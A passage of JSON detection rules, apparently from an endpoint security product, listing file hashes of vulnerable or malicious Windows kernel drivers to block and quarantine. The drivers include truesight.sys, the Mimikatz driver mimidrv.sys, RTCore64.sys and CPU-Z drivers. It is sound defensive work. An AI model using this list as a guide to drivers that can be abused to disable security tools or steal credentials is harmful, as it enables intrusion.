+  "id": "5d7cc030-2d6a-57a2-9a82-177276ba14f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144271Z",
+  "creation_date": "2026-03-23T11:45:31.144273Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144278Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5ba81b423320a4487ae7a8776e3005142514d1715afd7b563f586bf10e5e1f37",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5d877bb5-0662-5199-93ec-3e2c1153a265",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467559Z",
+  "creation_date": "2026-03-23T11:45:30.467563Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467573Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "77280614edf2e476a853c7881a4ff1402d67d4dd3e218af657f44fd4d4fbdbcb",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5d930509-d05d-5c28-b593-8b1dc0f9c3e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826076Z",
+  "creation_date": "2026-03-23T11:45:30.826079Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826088Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ba80b3a12a609c0d6069dcea7e346aa8d6e622e32eecd0244b40a4dcd8329ce1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5d99795b-719a-5981-98b9-164522b65a99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977036Z",
+  "creation_date": "2026-03-23T11:45:29.977038Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977043Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ede9e515a00c6a703a51b5a6e2d10d8d620be35da56fb6fec9a4fb96e6f88c7",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5d9ce0f4-c7a4-59de-be1a-358b13c4b74b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.471836Z",
+  "creation_date": "2026-03-23T11:45:31.471839Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.471848Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4b64def5d8bd9d37af54b758e4d0c7cb28cad032745ef0fc8442815772c4adab",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5da3f0a6-12c3-5726-ad02-19dd5f9547cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617079Z",
+  "creation_date": "2026-03-23T11:45:29.617081Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617086Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "709ab95302bb44c7a7dafaf342ca933422ea03ed7b492be204a319161feb350e",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5da9f4d6-cef9-5881-8adf-e4f551d7e37b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154414Z",
+  "creation_date": "2026-03-23T11:45:31.154416Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154421Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ecb274c24a2271eef97d629bfbdda7e14845c8b420ee91116f54f6652b3e084",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5dbc19a5-5ea8-528d-8416-f618db8bd210",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491296Z",
+  "creation_date": "2026-03-23T11:45:31.491299Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491306Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "942cfb6f9d5a7ba3bd96c7e99d783a13636a3b6a47996c8c4cbb886e609fe521",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5dc3b517-496c-5bfc-92ad-98bf6ba4dbdc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816397Z",
+  "creation_date": "2026-03-23T11:45:31.816400Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816408Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7d5dc2c4a402c8b3feee738efa5b24b84b530c161fec2bd0ad5284566d6f5ffc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5dd132af-5e54-52cc-b43a-13f57eeb40be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970931Z",
+  "creation_date": "2026-03-23T11:45:29.970934Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970950Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "04a68cb3a0c063bc66d5b144525500947dab43a0a7633a786ee0060079ba83b5",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5de2dcdc-44cf-51e8-b994-e245daaabc79",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146415Z",
+  "creation_date": "2026-03-23T11:45:32.146417Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146424Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "270bbba20190463a27ae41ec283922b25d397aab31c96cd4eaa47eadaac07b00",
+  "comment": "Malicious Kernel Driver (aka driver_0ffb4081.sys) [https://www.loldrivers.io/drivers/8081b0d0-e18e-474a-bdfa-8ff1956d90cb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5de85586-50e0-51f8-981f-2a5ebe6404f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823640Z",
+  "creation_date": "2026-03-23T11:45:31.823642Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823647Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5140d2d1cdd4ff9ea90a1a9d4cffe0195a5c01ea9fbec47e1643216cab559c2b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5dfd70dc-b80a-573b-a7ba-586d1f31eb4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153146Z",
+  "creation_date": "2026-03-23T11:45:31.153150Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153159Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c59848c6671201b3838b69cb2947e3e7489c6c0bdd538a9609a76e980bfb3c7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5dff5fd9-6c94-5ee9-839f-acbc6c75ec7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145254Z",
+  "creation_date": "2026-03-23T11:45:31.145256Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145261Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "80a4c175c06c9fb31d0e0d3f741e6bacde3fd9058f0b2f783ce0d66becc0a8b3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5e054251-f6ab-5724-a0fc-3a33094d97c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610993Z",
+  "creation_date": "2026-03-23T11:45:29.610995Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611000Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fd8d61102719afb0b8a230d9e8c372af3396bec4a6d72aada42a1f1d36187751",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5e18716e-d0d3-58ce-968d-c2a4d317e398",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607817Z",
+  "creation_date": "2026-03-23T11:45:29.607819Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607824Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bc13adeb6bf62b1e10ef41205ef92382e6c18d6a20669d288a0b11058e533d63",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5e314e51-8b55-5026-a4b3-e72f6ce58050",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145985Z",
+  "creation_date": "2026-03-23T11:45:31.145988Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145996Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e0508471f1b7177ccf26fd663d135767a652a3fdccb545e4ef38f79ae034f245",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5e31698d-4bcd-58a8-8b7a-51a203abc31d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149934Z",
+  "creation_date": "2026-03-23T11:45:31.149936Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149941Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b20d8255ee1c2f18a64dd3754ce2503db010cb650f2eaa8135a0ad252ebcced",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5e3515ed-33ca-527c-87e9-9c265cc68523",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482186Z",
+  "creation_date": "2026-03-23T11:45:31.482190Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482200Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de80cadf7e24d0414d6d88922995a5fb62cc050b67dfc64f31452d72cfbb9fe4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5e3c796f-11e8-5a0f-877b-780c78f9d7dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807561Z",
+  "creation_date": "2026-03-23T11:45:31.807564Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807573Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eca625614fa812a3e2fb2eade15f87df9ba3cac5078b1bbf914bfa745fb977c6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5e4b6a3e-417c-5a65-96de-aec4831ab6ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460465Z",
+  "creation_date": "2026-03-23T11:45:30.460469Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460478Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "67e9d1f6f7ed58d86b025d3578cb7a3f3c389b9dd425b7f46bb1056e83bffc78",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5e5b5808-b6cc-5fd2-876c-0d08c80e5df5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606103Z",
+  "creation_date": "2026-03-23T11:45:29.606105Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606110Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "51e91dd108d974ae809e5fc23f6fbd16e13f672f86aa594dae4a5c4bc629b0b5",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5e6345cd-f671-505b-b7ac-94b766aaf87e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
